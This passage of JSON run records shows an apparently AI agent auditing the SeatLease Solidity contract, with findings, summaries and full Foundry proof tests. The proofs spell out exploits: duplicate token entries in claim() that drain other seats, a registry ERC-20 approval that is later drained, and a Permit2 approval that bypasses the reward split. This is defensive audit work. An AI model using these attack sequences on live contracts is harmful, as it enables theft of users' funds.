assumption.\n- **Force-sent ETH (low): accepted and documented** in the README trust model.\n\n**New finding, high, with proof.** Rewards that reach a seat's holder are booked only when someone calls skim or claim, at the split in force at that moment. The README recommends paying the holder directly. So for an Open seat holding unbooked rewards, an attacker can take, skim, sweep and quit in one transaction and keep the operator share, bond refunded. The proof fails on this code with the attacker holding 5 of the 10 ETH. The owner-side mirror also reproduces: cut the operator, then skim, and the owner books 100 percent. Proposed fix keeps the ABI and instant quit: settle the holder's ETH and an owner-declared reward-token list before every operator change, with an optional warm-up window as a backstop.\n\n**New finding, low.** A seat sent to its holder with plain transferFrom instead of deposit is locked permanently, since deposit rejects it and nothing else can release it. Documentation item only.\n\nAll 249 project tests pass and the build is warning-free. The coverage record answers every listed entry point plus the ERC-1271 replay and NFT-custody invariants.","treeHash":null,"usage":{"cachedInputTokens":1138765,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":36143,"runtime":"claude","turns":29,"wallClockMs":541365}},{"artifacts":[],"attempt":1,"bundleHash":"5f2c15751f16370df442e24e48e472f7be5d4103f2bbdcce3f58ff67a3e56412","device":"468e82a89b9bfe18","findings":[{"description":"claim() snapshots _balanceOf(tokens[i]) for every index before the call and, after it, books `afterwards - before[i]` for every index. Nothing rejects a token listed more than once, so a payout of X with the reward token listed N times books N*X to the seat while only X arrived. totalCredited[token] rises by N*X and the registry's balance only by X. sweep() then pays the seat owner N*X out of the registry's balance, which includes rewards booked to every other seat. Any seat owner (anyone holding any seat NFT) can do this against a distributor they control that pays a few wei, or against a real distributor. The existing invariant handler always lists one token, which is why invariant_solvent never saw it. Fix: reject duplicates in tokens[] (for example require strictly increasing addresses, or dedupe against a memory list), or book per distinct token only.","line":404,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\nimport {MockDistributor} from \"src/mocks/MockDistributor.sol\";\n\n/// @dev Proof: `claim()` books the balance gain once per entry of `tokens[]`, so a duplicated entry\n///      books the same tokens twice. The attacker (owner of seat 1) then sweeps more than arrived and\n///      the difference is paid out of rewards booked to another seat.\ncontract ClaimDuplicateTokensProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    MockDistributor distributor;\n    SeatLease lease;\n\n    address attacker = makeAddr(\"attacker\");\n    address victim = makeAddr(\"victim\");\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        distributor = new MockDistributor(address(reward));\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(attacker, 1);\n        nft.mint(victim, 2);\n        reward.mint(address(distributor), 1_000e18);\n        reward.mint(victim, 1_000e18);\n\n        vm.startPrank(attacker);\n        nft.approve(address(lease), 1);\n        lease.deposit(1, 10_000, SeatLease.Mode.Open, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n\n        vm.startPrank(victim);\n        nft.approve(address(lease), 2);\n        lease.deposit(2, 10_000, SeatLease.Mode.Open, address(0), 0, address(0), bytes32(0), \"\");\n        reward.approve(address(lease), 1_000e18);\n        lease.credit(2, address(reward), 1_000e18);\n        vm.stopPrank();\n    }\n\n    function test_duplicateTokenEntriesBookOnlyWhatArrived() public {\n        // The distributor pays seat 1's holder 100 tokens, once.\n        distributor.setReward(address(lease), 100e18, 0);\n        address[] memory tokens = new address[](3);\n        tokens[0] = address(reward);\n        tokens[1] = address(reward);\n        tokens[2] = address(reward);\n\n        vm.prank(attacker);\n        lease.claim(1, address(distributor), abi.encodeCall(MockDistributor.claim, ()), tokens);\n\n        // Expected: seat 1 is credited exactly the 100 tokens that arrived.\n        assertEq(lease.credited(1, address(reward)), 100e18, \"seat 1 booked more than arrived\");\n        // Expected: the registry still holds at least what it has booked in total.\n        assertGe(reward.balanceOf(address(lease)), lease.totalCredited(address(reward)), \"registry insolvent\");\n    }\n\n    function test_duplicateTokenEntriesCannotDrainAnotherSeat() public {\n        distributor.setReward(address(lease), 100e18, 0);\n        address[] memory tokens = new address[](11);\n        for (uint256 i; i < tokens.length; ++i) {\n            tokens[i] = address(reward);\n        }\n        vm.prank(attacker);\n        lease.claim(1, address(distributor), abi.encodeCall(MockDistributor.claim, ()), tokens);\n        lease.sweep(1, address(reward));\n\n        // Expected: the attacker leaves with the 100 tokens the distributor paid, nothing more.\n        assertEq(reward.balanceOf(attacker), 100e18, \"attacker swept another seat's rewards\");\n        // Expected: the victim's booked balance is still fully backed and sweepable.\n        lease.sweep(2, address(reward));\n        assertEq(reward.balanceOf(victim), 1_000e18, \"victim lost booked rewards\");\n    }\n}","reproduction":"Seat 1 (attacker) and seat 2 (victim) deposited; victim credits 1000e18 reward to seat 2. Distributor pays seat 1's holder 100e18 once. Attacker calls claim(1, distributor, claim(), [reward, reward, reward]). Expected: credited(1, reward) == 100e18 and reward.balanceOf(lease) >= totalCredited(reward). Actual: credited(1, reward) == 300e18, totalCredited == 1300e18 against a balance of 1100e18. With 11 entries and a sweep the attacker receives 1100e18 (expected 100e18) and the victim's later sweep(2, reward) reverts with ERC20InsufficientBalance. Run: forge test --match-path test/scratch/ClaimDuplicateTokens.t.sol","severity":"high","title":"claim() books the balance gain once per entry of tokens[], so duplicate entries multiply the booking and drain other seats"},{"description":"The target guard only refuses the seat NFT, the bond token, the registry itself, and tokens whose totalCredited is non-zero at call time. A reward token is therefore a permitted target whenever nothing is booked in it: before the first credit, and again every time all seats have been swept. The registry then executes approve(spender, amount) with itself as msg.sender. The allowance is not undone by the post-call checks (no listed balance decreased, the NFT is still held, ETH did not move) and survives indefinitely. Once any seat is credited or claims in that token, the spender calls transferFrom(registry, spender, amount) and takes rewards booked to seats it does not own. The cost to the attacker is owning any seat NFT. Fix options: refuse any target that has code and answers balanceOf(address(this)) / is a token the registry could ever hold is not enumerable, so a robust fix is to restrict claim() targets to a per-seat or per-registry allowlist of distributors, or to make claim() run through a per-seat forwarder contract so the registry is never msg.sender on an arbitrary target; at minimum, check that no ERC-20 allowance from the registry to any address changed is not possible on-chain, so the guard must be structural.","line":386,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev Proof: `claim()` only refuses an ERC-20 target while that token has a non-zero booked total.\n///      Any seat owner can therefore make the registry `approve` an arbitrary spender on a reward token\n///      before (or after every sweep, when) nothing is booked in it. The allowance survives, and drains\n///      rewards booked to other seats later.\ncontract ClaimApprovalProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    SeatLease lease;\n\n    address attacker = makeAddr(\"attacker\");\n    address victim = makeAddr(\"victim\");\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(attacker, 1);\n        nft.mint(victim, 2);\n        reward.mint(victim, 1_000e18);\n\n        vm.startPrank(attacker);\n        nft.approve(address(lease), 1);\n        lease.deposit(1, 10_000, SeatLease.Mode.Open, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        vm.startPrank(victim);\n        nft.approve(address(lease), 2);\n        lease.deposit(2, 10_000, SeatLease.Mode.Open, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n    }\n\n    function test_claimCannotLeaveAnAllowanceThatDrainsLaterCredits() public {\n        // Nothing booked in `reward` yet, so the token is not a forbidden target.\n        assertEq(lease.totalCredited(address(reward)), 0);\n        bytes memory approve = abi.encodeCall(IERC20.approve, (attacker, type(uint256).max));\n        vm.prank(attacker);\n        (bool claimOk,) = address(lease).call(\n            abi.encodeCall(SeatLease.claim, (1, address(reward), approve, new address[](0)))\n        );\n\n        // The victim's rewards arrive afterwards.\n        vm.startPrank(victim);\n        reward.approve(address(lease), 1_000e18);\n        lease.credit(2, address(reward), 1_000e18);\n        vm.stopPrank();\n\n        // Expected: either the claim was refused, or the allowance it set cannot move booked rewards.\n        if (claimOk) {\n            vm.prank(attacker);\n            (bool drained,) = address(reward).call(\n                abi.encodeCall(IERC20.transferFrom, (address(lease), attacker, 1_000e18))\n            );\n            assertFalse(drained, \"attacker drained rewards booked to another seat\");\n        }\n        assertGe(reward.balanceOf(address(lease)), lease.totalCredited(address(reward)), \"registry insolvent\");\n        lease.sweep(2, address(reward));\n        assertEq(reward.balanceOf(victim), 1_000e18, \"victim lost booked rewards\");\n    }\n}","reproduction":"Seat 1 (attacker) and seat 2 (victim) deposited; totalCredited(reward) == 0. Attacker calls claim(1, reward, abi.encodeCall(IERC20.approve, (attacker, type(uint256).max)), []). The call succeeds. Victim credits 1000e18 reward to seat 2. Attacker calls reward.transferFrom(lease, attacker, 1000e18). Expected: either the claim reverts with ForbiddenTarget, or the transferFrom fails and sweep(2, reward) pays the victim 1000e18. Actual: transferFrom succeeds, reward.balanceOf(lease) == 0 while totalCredited(reward) == 1000e18, and sweep(2, reward) reverts. Run: forge test --match-path test/scratch/ClaimApproval.t.sol","severity":"high","title":"claim() lets any seat owner set an ERC-20 allowance from the registry on any token with no booked balance, and that allowance later drains rewards booked to other seats"},{"description":"cutByOracle checks chainId, questionHash, answer, expiry, requestId and signer but the OracleAttestation struct carries no tokenId and the call's tokenId is not part of the signed data. If two seats are configured with the same questionHash and the same oracleSigner (a natural choice for an owner with several seats and one question template), an attestation issued for one seat can be front-run and submitted against the other; the requestId is then consumed and the intended seat is not cut. Whoever loses a bond that way is the operator of the seat that was not meant to be cut. The spec lists these validity conditions without tokenId, so this is a design gap rather than an implementation bug; document that questionHash must be unique per seat, or hash the tokenId into the question the owner registers.","line":326,"path":"src/SeatLease.sol","reproduction":"Seat 7 (operator A, Open, bond 100e18) and seat 8 (operator B, Permissioned) both have oracleSigner = oracle and questionHash = Q. Oracle signs attestation {requestId R, questionHash Q, answer true} intended for seat 7. Anyone calls cutByOracle(8, att, sig) first: seat 8's operator B is removed. cutByOracle(7, att, sig) then reverts with OracleRequestUsed(R) and seat 7's operator A keeps the seat. Covered by test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats in test/SeatLease.adversarial.t.sol, which pins the replay protection but cannot pin the intended target.","severity":"low","title":"Oracle attestations are not bound to a tokenId, so one attestation can be redirected to any seat sharing questionHash and oracleSigner"},{"description":"IERC20.transferFrom(address,address,uint256) and IERC721.transferFrom(address,address,uint256) have the same selector. credit(tokenId, address(seatNFT), id) therefore moves seat NFT `id` from the caller into the registry (ERC-721 transferFrom does not call onERC721Received, so the deposit hook guard does not apply), books a balance of 1 to the seat under the NFT collection's address, and raises totalCredited[seatNFT]. sweep(tokenId, seatNFT) reverts forever because ERC-721 has no transfer(address,uint256). The NFT cannot be deposited either (ownerOf is the registry), so it is stuck permanently. It cannot move an already deposited seat (the registry never approves anyone) and the NFT stays a forbidden claim target, so only the caller is harmed. Consider refusing token == address(seatNFT) in credit().","line":368,"path":"src/SeatLease.sol","reproduction":"Stranger owns seat NFT 8 and approves the registry. credit(7, address(nft), 8) succeeds: nft.ownerOf(8) == registry, credited(7, nft) == 1. sweep(7, address(nft)) reverts; deposit(8, ...) reverts NotSeatOwner for everyone. Expected: credit refuses the seat NFT as a token. Positive properties pinned in test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path and test_credit_bookingTheSeatNftNeverUnlocksItAsClaimTarget.","severity":"low","title":"credit() with the seat NFT as `token` pulls an ERC-721 into the registry through the shared transferFrom selector and it can never leave"},{"description":"withdraw() deletes the Seat struct but not _credited[tokenId][*]. After withdrawal sweep() reverts with SeatNotDeposited, and the balance is released to the next depositor of that tokenId (for example the buyer of the NFT). The NatSpec documents this, and anyone may sweep permissionlessly before withdraw, so it is accepted as a documented Low; an owner who withdraws without sweeping loses the rewards to the next depositor. Consider sweeping inside withdraw() or refusing withdraw while credited balances exist.","line":348,"path":"src/SeatLease.sol","reproduction":"Owner deposits seat 7, a payer credits 1 ETH, owner calls withdraw(7). credited(7, address(0)) is still 1 ether, sweep(7, address(0)) reverts SeatNotDeposited. Owner transfers the NFT to a stranger who deposits it and calls sweep(7, address(0)): the stranger receives 1 ETH.","severity":"low","title":"Unswept balances survive withdraw() and are paid to whoever deposits the same tokenId next"},{"description":"abi.decode does not reject trailing data, so a blob with extra bytes appended after the operator signature still decodes, still reproduces the digest, and returns the magic value. This is not a forgery (the digest, wallet, operator and expiry are all still checked) but it means the same authorization has more than one accepted byte encoding, which matters only if the network keys any replay protection on the raw signature bytes rather than on the nonce.","line":483,"path":"src/SeatLease.sol","reproduction":"Take a valid blob for seat 7 and append 0xdeadbeef. isValidSignature(digest, blob || 0xdeadbeef) returns 0x1626ba7e; strict decoding would return 0xffffffff.","severity":"info","title":"isValidSignature accepts an ERC-1271 blob with trailing bytes after the ABI-encoded authorization"}],"hash":"bf0bed1321d1230687cf4ea9a29d7cd41a2a743eada2d7ba9ad88761b8666c3f","nodeId":"2a34b96b-1799-4e07-b48c-fd4e543578c8","outcome":"completed","summary":"Done. The suite grew from 138 to 199 passing tests, and two High defects in `claim()` are reported in `.imd-findings.json` with failing proof tests rather than tested around.\n\n**What I delivered under `test/`**\n\n- `test/SeatLease.adversarial.t.sol`: 60 unit and fuzz tests on the edges the existing suites skipped. Second calls (quit, cut, sweep, redeem twice), callers who are not who the code assumed (ERC-721 operators, owners of other seats, claim targets reentering `setTerms` and `onERC721Received`), the ERC-20/ERC-721 `transferFrom` selector collision in `credit`, bond-token rewards booked apart from held bonds, sweep at 1 wei and 1 bps, oracle signer rotation, global request-id consumption across seats, wrong-domain and malleable oracle signatures, bond escrow on an oracle cut, and ERC-1271 negatives (exact expiry, another registry as wallet, every field tampered after signing, compact and zero signatures, operator changes). Fuzz covers tokenId, expiry boundaries for both signature paths, forged r/s/v, chain and question mismatch, arbitrary answers, any taker or caller, and two-seat conservation.\n- `test/SeatLease.stateful.t.sol`: a second invariant suite with three keyed actors, three seats, three assets, real signed oracle cuts, term changes and unbooked donations. Six invariants: per-seat bookings sum to the registry total, per-asset solvency, bonds only for occupied Open seats, NFT custody attributed to `deposit` and `withdraw` only and never while occupied, consumed requests stay consumed, and ERC-1271 answers mirror the operator of every seat for every actor's key.\n- `test/SeatLease.rewards.t.sol`: hardened one pre-existing fuzz test that failed under seed 99 because the fuzzed caller collided with the owner fixture.\n\n**Findings reported (`.imd-findings.json`)**\n\n- High, with proof: `claim()` books the gain once per entry of `tokens[]`, so a duplicated entry multiplies the booking. Listing the reward token 11 times turned a 100-token payout into a 1100-token sweep taken from another seat.\n- High, with proof: `claim()` allows an ERC-20 target whenever nothing is booked in it, so any seat owner can make the registry `approve` an arbitrary spender. The allowance survives and drained a later 1000-token credit to another seat.\n- Low: oracle attestations are not bound to a tokenId, so seats sharing a question hash and signer can have an attestation redirected by front-running.\n- Low: `credit()` with the seat NFT as token pulls a foreign NFT in permanently. It cannot move a deposited seat.\n- Low: unswept balances survive `withdraw()` and go to the next depositor of that tokenId, as the NatSpec documents.\n- Info: trailing bytes after a valid ERC-1271 blob are still accepted.\n\n**Verification**\n\n- `forge build --offline --deny warnings` is clean.\n- `forge test --offline` excluding `test/scratch` passes on seeds 5, 7, 99 and 123456.\n- `forge fmt --check` passes on every test file.\n- SeatLease.sol coverage was already 100% on lines, statements, branches and functions and stays there.\n- The two proof files in `test/scratch/` fail on the current code as intended.\n\nOne item is outside my scope: `.gas-snapshot` lives at the repository root, so I could not regenerate it for the new tests.","treeHash":"2418dc4823353f36052374d99ea10dd5547dfe04","usage":{"cachedInputTokens":1812499,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":69012,"runtime":"claude","turns":35,"wallClockMs":1324537}},{"artifacts":[],"attempt":1,"bundleHash":"45de00035d1a8939994f8869058d02625ee6c59d073bbbb453b1a1efbed23c89","device":"468e82a89b9bfe18","findings":[],"hash":"c6c29db8560aff4b562aa446900d54bf36745c2f27dd4d3b13241392592b161e","nodeId":"2a34b96b-1799-4e07-b48c-fd4e543578c8","outcome":"completed","summary":"The revision is complete. The full suite passes with 213 tests, `forge fmt --check` and `forge build --deny warnings` are clean, and the only changed file is `test/SeatLease.adversarial.t.sol`.\n\n**What was wrong.** The contract was revised after my adversarial suite was accepted. The revision refuses the seat NFT in `credit()` and in the `tokens[]` list of `claim()`, and refuses code-less claim targets. Three of my tests asserted the old lenient behaviour and failed against the revised contract.\n\n**What I changed, all in the adversarial file:**\n- Rewrote the three stale tests to assert the new reverts. The NFT-as-token test now checks the specific error, that a stranger's approved second seat stays with them, and that the NFT collection remains a forbidden claim target. The code-less target test now covers an EOA, a precompile, the zero address, and a not-yet-deployed address, and checks that pre-existing dust is not booked. The NFT-in-list test checks the revert happens before the distributor is called, at every list position.\n- Added edges for the new `balanceOf` probe: a stateless catch-all fallback returning a word is refused, a fallback returning fewer than 32 bytes or reverting is allowed, and a target that starts answering `balanceOf` later is refused from then on.\n- Added a fuzz over repeated token and ETH listings that checks the gain is booked exactly once and the registry stays solvent, plus a test that a duplicate listing does not hide a balance decrease.\n- Added a byte-level ERC-1271 test: dirty padding bits in the wallet or expiry word, or a flipped tokenId byte, all fail while the untouched blob still pairs.\n\n**One harness lesson worth noting.** The target probe is a static call, so a fallback that writes state reverts under it and is not treated as a token. That is consistent because such a token could never be booked either, since balances are read statically too. It is not a defect, so no findings file was written.\n\nThe gas snapshot regenerated during my check was restored to the committed version, since that file is outside my allowed paths.","treeHash":"0e352323f18d31dd1798c4dd6d63864d79a07606","usage":{"cachedInputTokens":1674712,"inputTokens":770,"model":"claude-fable-5-1","outputTokens":19070,"runtime":"claude","turns":25,"wallClockMs":363876}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"0cf632e317dfab7a","findings":[{"citation":"resolved","description":"Re-verification of finding 389a2671 (high, prior round). The attached proof Proof_389a2671f748.t.sol was copied to test/scratch/ and run against the revised code: it now PASSES (attacker.balance == 0, owner receives the full 10 ether, bond refunded). The fix holds: take/quit/cut/cutByOracle/withdraw call _settleHolder, which collects the holder's ETH and every owner-declared reward token (setRewardTokens, vacant-only, max 16, delayed by TERMS_DELAY) under the outgoing split before s.operator changes; and _collect books every holder collection that lands within TERMS_DELAY of takenAt to the owner alone. I also re-ran the two variants named in the finding: (a) a declared ERC-20 minted to the holder while vacant, then take/skim/sweep/quit in one transaction: attacker receives 0, owner 10e18; (b) the owner mirror: op seated past warm-up, 10 ether at the holder, owner cut then skim then sweep: op's share is 5 ether and the owner gets 5 ether. The project's own regressions cover the same cases (testFuzz_takeSkimSweepQuitCannotTakeVacantRewards, test_permissionedCutThenSkimOrClaimCannotReassignHolderRewards, test_warmupProtectsAccountKeyedClaimsAfterTake, test_claimAndSkimWarmupBoundaryAndRetakeResetsIt). The full suite passes: 269 tests, 0 failed. Residual, not a new defect: for a token the owner did not declare, or for entitlements still sitting unclaimed inside a permissionless distributor, an Open-seat taker who waits out the one-hour warm-up can skim (or claim for the holder) and receive (10000-ownerBps)/10000 of funds that were already claimable before the take. The owner has a one-hour window after the public SeatTaken event in which any skim/claim books 100% to the owner, and can pre-empt by declaring tokens and claiming before opening the seat. This is exactly the backstop the prior finding proposed, and README 'Rewards and shares' and 'Trust model' (Declare rewards before leasing) state the limit explicitly. No change requested.","line":805,"path":"src/SeatLease.sol","reproduction":"Residual only (documented). Open seat 7, ownerBps 5000, bond 100e18, no reward list. reward.mint(holderOf(7), 10e18) while vacant. Attacker: approve, take(7) (bond pulled), vm.warp(+1 hours), skim(7, reward), sweep(7, reward), quit(7). Result: reward.balanceOf(attacker) == 5e18, owner 5e18, attacker's bond back in full. Same sequence with the token declared via setRewardTokens, or executed within the warm-up, gives the attacker 0 and the owner 10e18 (verified in test/scratch/Recheck.t.sol, tests test_erc20UndeclaredVacantRewards_afterWarmup, test_erc20UndeclaredVacantRewards_atomic, test_erc20DeclaredVacantRewardsGoToOwner).","severity":"info","snippet":"            address operator = block.timestamp < uint256(s.takenAt) + TERMS_DELAY ? address(0) : s.operator;","title":"Settled: prior high 389a2671 (skim booked holder funds under the split at skim time) is fixed; residual for undeclared tokens and unclaimed distributor entitlements after the one-hour warm-up is docum"},{"citation":"resolved","description":"The prior low asked for a documentation entry, since no safe on-chain rescue exists. The README Trust model now carries the warning (only deposit may move the seat into its holder; a plain transferFrom, including via a marketplace, bypasses the receiver hook, creates no deposit record and permanently locks the NFT; deposit, withdraw and releaseNft cannot recover it). REVIEW.md records it as Low e4dd366b and test_plainTransferToHolderLocksSeat_documented pins the behaviour. SeatHolder.onERC721Received (src/SeatHolder.sol:68) is unchanged, as agreed. Accepted; no further action.","line":406,"path":"README.md","reproduction":"Seat 7 deposited then withdrawn; owner calls nft.transferFrom(owner, holderOf(7), 7). deposit(7, ...) reverts NotSeatOwner, withdraw(7) reverts SeatNotDeposited, releaseNft reverts NotRegistry. Behaviour unchanged and now documented at README.md:406-410.","severity":"info","snippet":"- **Only `deposit` may move a seat into its holder.** Never use plain ERC-721 `transferFrom` to send the NFT","title":"Settled: prior low 0bfc5a4a (plain transferFrom of the seat NFT to its holder locks it) is now documented in the README and pinned by a regression test"}],"hash":"c9cfd5a2b5440037fa146d7acf9637868f959f32bb5b637456ed7ca6adb11895","nodeId":"db310ff0-4065-499a-b416-320077e48c17","outcome":"completed","summary":"Both prior findings are settled, and the review file is written.\n\n**Prior high (skim booked holder funds under the split at skim time): fixed.** The attached proof, copied under test/scratch and run against the revised code, now passes. The revision settles the holder's ETH and every owner-declared reward token under the outgoing split in take, quit, cut, cutByOracle and withdraw, and books any holder collection within one hour of a take to the owner alone. I re-ran the ERC-20 variant and the owner-cut-then-skim mirror named in the finding. In both, the attacker or owner gets nothing beyond their booked share. The project's own regression tests cover the same cases, and the full suite passes with 269 tests and no failures.\n\n**Prior low (plain transferFrom of the seat NFT into its holder locks it): documented.** The README Trust model now warns that only deposit may move a seat into its holder, and a regression test pins the behaviour. No code change was expected.\n\n**Residual, documented, no action requested.** For an undeclared token, or entitlements still unclaimed inside a permissionless distributor, an Open-seat taker who waits out the one-hour warm-up can skim and receive the operator share. The owner has a public one-hour window to skim or claim at 100 percent, and the README states this limit. This is the backstop the earlier finding itself proposed, so I recorded it as info rather than a new defect.\n\n**No new defects found.** The static-analysis leads (reentrancy in claim and settlement, strict equalities, contract-locks-ether) all trace to guarded, measured-receipt paths with a payout route. The findings file holds two info entries and coverage rows for all 22 entry points plus the two invariants and the proof, every row marked holds. The scratch directory was removed, leaving only .imd-findings.json in the working tree.","treeHash":null,"usage":{"cachedInputTokens":852605,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":19210,"runtime":"claude","turns":22,"wallClockMs":295667}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3c7630b22a73c1fb","findings":[{"citation":"resolved","description":"claim() tries to stop the holder ever authorising a spender by refusing targets that answer balanceOf(address). The README states the rule: 'the holder must never be able to approve a token it holds'. Uniswap Permit2 (0x000000000022D473030F116dDEE9F6B43aC78BA3, deployed at the same address on mainnet and Sepolia) has no balanceOf and no fallback, so it passes every guard: it has code, it is not the NFT, the bond token, this contract or the holder, and totalCredited[permit2] == 0. The owner can call claim(tokenId, PERMIT2, approve(token, owner, type(uint160).max, type(uint48).max), []). The holder then becomes msg.sender of Permit2.approve and records a Permit2 allowance for the owner that outlasts the call. The post-call checks only compare balances, and an approval changes none. For any reward token that gives Permit2 an allowance by default (Solady's ERC20 does, through _givePermit2InfiniteAllowance), or one the holder has otherwise approved to Permit2, the owner can later call Permit2.transferFrom(holder, owner, amount, token) outside any registry call. That moves rewards out of the holder before skim or settlement books them, so the operator's ownerBps split is bypassed (access asymmetry: the owner gets a spend right over the shared wallet that the operator cannot see or revoke). The holder is reused per tokenId and the allowance is never revoked, so it also survives withdraw: a former owner who sold the NFT can drain rewards paid to the holder while the buyer holds the seat. Minimal fix: add the canonical Permit2 address to the forbidden-target list in claim(). More generally, keep an explicit allowlist or denylist of approval-registry contracts, since an approval registry without balanceOf defeats the balanceOf heuristic.","line":497,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\naddress constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;\n\n/// @dev Minimal AllowanceTransfer surface of Uniswap Permit2 (approve / transferFrom); no balanceOf, no fallback.\ncontract MiniPermit2 {\n    mapping(address => mapping(address => mapping(address => uint160))) public allowanceOf;\n\n    function approve(address token, address spender, uint160 amount, uint48) external {\n        allowanceOf[msg.sender][token][spender] = amount;\n    }\n\n    function transferFrom(address from, address to, uint160 amount, address token) external {\n        uint160 a = allowanceOf[from][token][msg.sender];\n        require(a >= amount, \"allowance\");\n        if (a != type(uint160).max) allowanceOf[from][token][msg.sender] = a - amount;\n        IERC20(token).transferFrom(from, to, amount);\n    }\n}\n\n/// @dev Reward token that, like Solady's ERC20 default, gives Permit2 an infinite allowance from every holder.\ncontract Permit2RewardToken is ERC20 {\n    constructor() ERC20(\"R\", \"R\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n\n    function allowance(address o, address spender) public view override returns (uint256) {\n        if (spender == PERMIT2) return type(uint256).max;\n        return super.allowance(o, spender);\n    }\n}\n\ncontract Permit2ApprovalTest is Test {\n    SeatLease lease;\n    MockSeatNFT nft;\n    MockERC20 bond;\n    Permit2RewardToken rwd;\n    address owner = makeAddr(\"owner\");\n    address op = makeAddr(\"op\");\n\n    function setUp() public {\n        vm.etch(PERMIT2, address(new MiniPermit2()).code);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"B\", \"B\");\n        rwd = new Permit2RewardToken();\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.setApprovalForAll(address(lease), true);\n        lease.deposit(7, 5000, SeatLease.Mode.Permissioned, op, 0, address(0), bytes32(0), \"\");\n        address[] memory t = new address[](1);\n        t[0] = address(rwd);\n        lease.setRewardTokens(7, t);\n        vm.stopPrank();\n        vm.warp(block.timestamp + 1 hours + 1);\n        vm.prank(op);\n        lease.take(7);\n        vm.warp(block.timestamp + 1 hours + 1);\n    }\n\n    /// Owner makes the holder grant it a lasting Permit2 allowance through claim(), then drains rewards paid to\n    /// the holder during the operator's tenure before they are booked. The operator should receive 500e18.\n    function test_ownerCannotDrainHolderThroughPermit2Approval() public {\n        address holder = lease.holderOf(7);\n        vm.startPrank(owner);\n        try lease.claim(\n            7,\n            PERMIT2,\n            abi.encodeCall(MiniPermit2.approve, (address(rwd), owner, type(uint160).max, type(uint48).max)),\n            new address[](0)\n        ) {} catch {}\n        vm.stopPrank();\n\n        rwd.mint(holder, 1000e18); // distributor pays the seat's wallet during the tenure\n\n        vm.prank(owner);\n        try MiniPermit2(PERMIT2).transferFrom(holder, owner, 1000e18, address(rwd)) {} catch {}\n\n        vm.prank(op);\n        lease.quit(7); // settles the holder's declared rewards under the operator's split\n        assertEq(lease.share(7, address(rwd), op), 500e18, \"operator share taken by owner via Permit2\");\n    }\n\n    /// The same lasting allowance survives withdraw: a former owner drains rewards paid while a later owner holds the seat.\n    function test_formerOwnerCannotDrainNextDeposit() public {\n        address holder = lease.holderOf(7);\n        vm.prank(owner);\n        try lease.claim(\n            7,\n            PERMIT2,\n            abi.encodeCall(MiniPermit2.approve, (address(rwd), owner, type(uint160).max, type(uint48).max)),\n            new address[](0)\n        ) {} catch {}\n        vm.prank(op);\n        lease.quit(7);\n        address buyer = makeAddr(\"buyer\");\n        vm.startPrank(owner);\n        lease.withdraw(7);\n        nft.transferFrom(owner, buyer, 7);\n        vm.stopPrank();\n        vm.startPrank(buyer);\n        nft.setApprovalForAll(address(lease), true);\n        lease.deposit(7, 10_000, SeatLease.Mode.Permissioned, op, 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        rwd.mint(holder, 1000e18);\n        vm.prank(owner);\n        try MiniPermit2(PERMIT2).transferFrom(holder, owner, 1000e18, address(rwd)) {} catch {}\n        assertEq(rwd.balanceOf(holder), 1000e18, \"former owner drained new owner's holder\");\n        lease.skim(7, address(rwd));\n        assertEq(lease.share(7, address(rwd), buyer), 1000e18, \"former owner drained new owner's rewards\");\n    }\n}","reproduction":"Setup: Permit2 at its canonical address (the test etches a minimal Permit2 with approve/transferFrom keyed by msg.sender). The reward token RWD gives Permit2 an unlimited allowance (Solady default). Owner deposits seat 7 with ownerBps=5000, Permissioned, allowedOperator=op, and setRewardTokens(7,[RWD]). After 1h+1s op takes; after another 1h+1s (warm-up over): (1) owner calls claim(7, PERMIT2, abi.encodeCall(approve,(RWD, owner, max160, max48)), []), which succeeds. (2) 1000e18 RWD is paid to holderOf(7). (3) owner calls Permit2.transferFrom(holder, owner, 1000e18, 